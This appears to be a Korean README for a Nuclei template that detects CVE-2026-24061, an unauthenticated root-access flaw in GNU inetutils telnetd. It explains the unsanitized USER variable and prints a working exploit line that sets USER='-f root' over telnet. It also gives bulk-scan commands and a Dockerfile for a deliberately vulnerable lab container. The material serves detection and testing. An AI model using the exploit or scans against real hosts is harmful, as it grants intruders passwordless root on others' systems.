mr-zapi/cve-2026-24061Nuclei 템플릿으로 CVE-2026-24061을 탐지합니다. 이는 GNU inetutils telnetd의 치명적인 telnet 인자 주입 취약점으로, 인증 없이 루트 접근을 허용합니다.
GNU inetutils telnetd의 CVE-2026-24061 취약점을 탐지하기 위한 Nuclei 템플릿으로, 인증 없이 root 접근을 허용합니다.
CVE-2026-24061은 GNU inetutils telnetd의 치명적인 argument injection 취약점으로, 공격자가 비밀번호 없이 root shell을 획득할 수 있게 합니다.
%U를 사용하는 새로운 로그인 템플릿이 추가되었습니다: /usr/bin/login -p -h %h %?u{-f %u}{%U}
취약점: 환경 변수 USER는 telnet 프로토콜(RFC 1572 NEW-ENVIRON)을 통해 전달되며, 명령에 치환되기 전에 살균(sanitize)되지 않습니다.
악용: 공격자는 연결 시 USER="-f root"를 설정합니다:
USER="-f root" telnet -a target.com 23
/usr/bin/login -p -h hostname -f root
-f 플래그는 "인증 건너뛰기"를 의미합니다 → 비밀번호 없는 root 💀
inetutils-telnetd 2:2.0-1+deb11u2nuclei -t cve-2026-24061.yaml -u target.com:23 -code
nuclei -t cve-2026-24061.yaml -l targets.txt -code
테스트를 위해 취약한 Docker 컨테이너를 실행할 수 있습니다:
FROM debian:11-slim
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
inetutils-telnetd=2:2.0-1+deb11u2 \
telnet && \
rm -rf /var/lib/apt/lists/*
RUN useradd user1 && \
sed -i 's/#<off># telnet/telnet/' /etc/inetd.conf
EXPOSE 23
CMD ["/usr/sbin/inetutils-inetd", "-d"]
실행:
# 이미지 빌드
docker build -t vuln-telnetd .
# 실행
docker run -d -p 2323:23 vuln-telnetd
# 취약점 확인
nuclei -t cve-2026-24061.yaml -u 127.0.0.1:2323 -code -v
9.8 / 10 - Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
이 도구는 명시적 허가를 받은 시스템에 대한 합법적인 보안 테스트 전용입니다.
저자는 이 템플릿의 부적절한 사용에 대해 책임을 지지 않습니다.
Created by Mr.Zapi